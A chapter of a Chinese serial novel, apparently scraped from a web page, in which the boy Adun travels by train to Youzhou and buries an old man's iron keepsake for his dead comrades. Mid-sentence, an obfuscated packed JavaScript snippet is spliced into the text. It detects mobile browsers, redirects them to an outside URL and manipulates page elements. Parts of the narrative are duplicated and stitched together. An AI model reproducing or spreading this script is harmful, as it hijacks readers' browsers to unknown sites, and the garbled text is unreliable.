阿钝开始等冬天。
每天起来第一件事，是跑到门口看天。看有没有下雪，看能不能去幽州。
狗子问他：“阿钝哥，你急什么？”
阿钝说：“你不懂。我要去看火车了。”
石头在旁边问：“火车比这台大吗？”
阿钝想了想。
“应该大。”他说，“能装好多好多东西。”
石头看着那台蒸汽机。
“那它能装人吗？”
阿钝点了点头。
“能。郭公子说，能装好多人。”
石头低下头。
“那我妹妹能坐上吗？”
阿钝愣了一下。
他蹲下来，看着石头。
“石头。”他说。
“嗯。”
“你妹妹在哪儿？”
石头指着自己的胸口。
“在这儿。”
阿钝点了点头。
“那她就能坐上。”他说，“你坐上，她就坐上。”
石头看着他。
“真的？”
阿钝点了点头。
“真的。”
石头没说话。
但他笑了。
那是石头第一次笑。
---
阿钝开始准备去幽州的东西。
他问阿箬：“阿箬姐，幽州冷吗？”
阿箬说：“冷。”
他问：“得多穿衣服吗？”
阿箬点了点头。
他问：“穿多少？”
阿箬想了想。
“把我给你做的那件厚的穿上。”
阿钝点了点头。
他又问狗子：“狗子，你想要什么？我从幽州给你带回来。”
狗子想了想。
“想……想要一块石头。”
阿钝愣住了。
“石头？”
狗子指着石头。
“给他。”他说，“幽州的石头，给他。”
阿钝看着石头。
石头也看着他。
“好。”阿钝说，“我给你带。”
他又问石头：“石头，你想要什么？”
石头想了想。
“想……”他说，“想看看火车。”
阿钝愣了一下。
“你不是在这儿也能看吗？”
石头摇了摇头。
“不一样。”他说，“这台的火车，是咱们的。幽州的火车，是郭公子的。”
阿钝没听懂。
但他点了点头。
“好。”他说，“我替你看。”
---
周老倔听说阿钝要去幽州，把他叫过去。
“阿钝。”他说。
“周爷爷。”
周老倔看着他。
“你去幽州，帮我办件事。”
阿钝点了点头。
“您说。”
周老倔从怀里摸出一个东西。
是一块铁。很小，方方正正的，上面刻着字。
“这是我年轻的时候打的。”他说，“一直留着。”
阿钝接过来，看了看。
上面刻的是：活着。
“您要我带去哪儿？”
周老倔指着北边。
“幽州城外，有个地方。”他说，“当年打仗，我几个兄弟死在那儿。一直没去给他们烧过纸。”
他看着阿钝。
“你帮我把这块铁，埋在那儿。”
阿钝攥着那块铁，攥得紧紧的。
“周爷爷，”他说，“您放心。”
周老倔点了点头。
他伸出手，在阿钝头上按了一下。
“好孩子。”他说。
---
## 第五十七章郭荣的信又来
十月底，郭荣的信又来了。
这回是写给阿钝的，还是他亲启。
阿钝已经能自己看信了。
他打开信，一个字一个字地念。
“阿钝：下个月我来接你。多穿衣服，幽州冷。郭荣。”
他念完，把信折好，放回信封里。
狗子问：“写的什么？”
阿钝说：“他说下个月来接我。”
石头问：“他能找到咱们吗？”
阿钝点了点头。
“能。”他说，“他找得到。”
---
那封信，阿钝看了十几遍。
每天晚上睡觉之前，都要拿出来看一眼。
狗子问他：“阿钝哥，你怕他忘了？”
阿钝摇了摇头。
“不怕。”他说，“就是看着安心。”
石头问：“什么叫安心？”
阿钝想了想。
“就是，”他说，“知道有人记得你。”
石头没说话。
他躺下来，看着天花板。
过了很久，他忽然说：
“阿钝哥。”
“嗯。”
“郭公子也记得你吗？”
阿钝点了点头。
“记得。”他说，“他写信给我。”
石头没再问。
但他闭上眼睛的时候，嘴角有一点弧度。
---
十一月初，雪下来了。
第一场雪，不大，薄薄的一层。阿钝站在院子里，看着那些雪花落在地上，化成水。
狗子跑出来，站在他旁边。
“阿钝哥，雪下了。”
阿钝点了点头。
“下了。”
石头也跑出来，站在狗子旁边。
他看着那些雪，伸出手，接了一片。
雪落在他手心里，很快化了。
“没了。”他说。
阿钝蹲下来，看着他。
“石头。”他说。
“嗯。”
“等我从幽州回来，给你带一块真的石头。幽州的石头，不会化。”
石头看着他。
“真的？”
阿钝点了点头。
“真的。”
————
郭荣来的时候，是十一月十五。
那天早上，阿钝刚起来，就听见外面有人喊他。
他跑出去，看见郭荣站在门口。
郭荣穿着厚厚的棉袍，脸冻得通红，但眼睛里全是笑。他骑在马上，马身上挂着几个包袱，一看就是赶了很久的路。
“阿钝。”他说，“我来接你了。”
阿钝站在那里，看着他。
“郭公子。”他说。
郭荣点了点头。
“准备好了？”
阿钝点了点头。
“准备好了。”
他跑回屋里，把那件厚衣服穿上，把周老倔那块铁揣进怀里，把那封信也揣进怀里。
然后他跑出来，站在郭荣面前。
“走吧。”他说。
阿箬站在门口，看着他们。
“阿钝。”她说。
阿钝转过头。
阿箬看着他。
“路上小心。”
阿钝点了点头。
“阿箬姐，你放心。”
阿箬没说话。
她伸出手，在他头上按了一下。
阿钝笑了。
狗子和石头站在旁边，看着他们。
狗子喊：“阿钝哥，别忘了带石头！”
阿钝喊：“记住了！”
石头没喊。
他只是看着阿钝，眼睛里有光。
那光很亮，比那天晚上的月光还亮。
阿钝看着石头，忽然想起自己刚来的时候。
那时候他也是这样，什么都不懂，什么都不会，只会怕。
现在他要去幽州了。
“石头。”他说。
石头看着他。
阿钝蹲下来，平视着他的眼睛。
“等我回来，教你写信。”
石头愣了一下。
“写信？”
阿钝点了点头。
“给郭公子写信。给你妹妹写信。”
石头看着他，那双眼睛里的光，又亮了一点。
“好。”他说。
李默走过来，站在郭荣面前。
“郭公子。”他说。
郭荣看着他。
“李师傅。”
李默指着阿钝。
“这孩子，交给你了。”
郭荣点了点头。
“放心。”
他伸出手，在李默肩上拍了一下。那一下拍得很重，像是要把什么话拍进去。
然后他翻身上马，把阿钝拉上来，坐在他前面。
“走。”
马跑起来，越跑越快。
阿钝回头看了一眼。
那些人还站在门口，看着他。
阿箬，狗子，石头，周老倔，陈小锤，孙二，那些孩子。
都在。
李默站在最前面，看着他的方向。
阿钝看不清他的脸，但他知道他在看。
他转过头，看着前面的路。
雪还在下，落在脸上，有点凉。
但他心里，很暖。
马跑了一刻钟，阿钝忽然问：
“郭公子。”
“嗯。”
“我师父刚才看我的眼神，你看见了吗？”
郭荣没说话。
阿钝继续说：
“他看我那个眼神，和我看我那些孩子的眼神，一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401631|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样。”
郭荣沉默了一会儿。
然后他说：
“我知道。”
阿钝没再问。
他只是看着前面的路。
雪越下越大，把路都盖住了。
但他知道，路还在。
他们到了陈桥，上了火车。
火车开动的时候，阿钝趴在窗户上，看着外面。
那些农田，那些村子，那些人，一个一个从眼前过去。
他想起那个老头，想起那个空村子，想起狗子妹妹的那些骨头。
都过去了。
但他们会记住。
他也会记住。
“郭公子。”他说。
“嗯。”
“我想记住他们。”
郭荣点了点头。
“那就记住。”
火车往前走，越走越远。
阿钝看着外面，一直看着。
直到天黑，什么也看不见了。
从汴梁到幽州，骑马要走十天。
但郭荣带阿钝走的是铁路。
他们在陈桥上了火车，坐在最前面那节车厢里。阿钝趴在窗户上，看着外面的景色飞快地往后退。
“郭公子！”他喊，“它真的在走！”
郭荣坐在他旁边，笑了。
“是。”他说，“它在走。”
阿钝看着那些农田，那些村子，那些人，一个一个从眼前过去。
“它们怎么跑得那么快？”
郭荣想了想。
“因为，”他说，“机器比马快。”
阿钝点了点头。
他看着外面，看了很久。
然后他忽然问：
“郭公子。”
“嗯。”
“那个老头，还能看见吗？”
郭荣愣了一下。
“哪个老头？”
阿钝想了想。
“征地的时候，挡在路中间的那个。后来死了的那个。”
郭荣沉默了一会儿。
“他看不见了。”他说。
阿钝低下头。
郭荣看着他。
“阿钝。”他说。
阿钝抬起头。
郭荣指着外面那些农田。
“但他种的地，还在。他住过的村子，还在。他站过的路，还在。”
他看着阿钝。
“你来了，他就还在。”
阿钝没说话。
他看着外面，看着那些农田，那些村子，那些人。
“郭公子。”他说。
“嗯。”
“我想记住他们。”
郭荣点了点头。
“那就记住。”
---
火车走了两天两夜。
第三天早上，阿钝醒了，看见外面不一样了。
天更蓝，地更平，远处有山，山上有雪。
“郭公子，”他问，“到哪儿了？”
郭荣站起来，指着外面。
“幽州。”
阿钝趴在窗户上，看着那座城。
很大。比汴梁还大。城墙高高的，城门口站着兵，举着旗。
火车慢慢停下来。
郭荣拉着阿钝下车，站在月台上。
阿钝看着四周，眼睛瞪得大大的。
“这就是幽州？”
郭荣点了点头。
“这就是幽州。”
阿钝站在那里，看着那些房子，那些人，那些走来走去的兵。
“郭公子。”他说。
“嗯。”
“我替狗子看了。替石头看了。替周爷爷看了。”
郭荣看着他。
阿钝笑了。
“他们都看见了。”
---
那天下午，郭荣带阿钝去了幽州城外的一个地方。
那里有一片荒地，长满了野草。风吹过来，野草沙沙地响。
阿钝从怀里摸出周老倔那块铁，蹲下来，用手挖了一个坑。
他把那块铁放进去，盖上土。
然后他站起来，看着那个小小的土堆。
“周爷爷的兄弟们，”他说，“你们看见了吗？”
风吹过来，把他的头发吹乱了。
他没理。
就站在那儿，看着那个土堆，看了很久。
郭荣站在他旁边，也没说话。
太阳慢慢落下去，把天边烧成一片红。
阿钝忽然开口：
“郭公子。”
“嗯。”
“他们会在天上看见吗？”
郭荣想了想。
“会。”他说。
阿钝点了点头。
他转过身，跟着郭荣走了。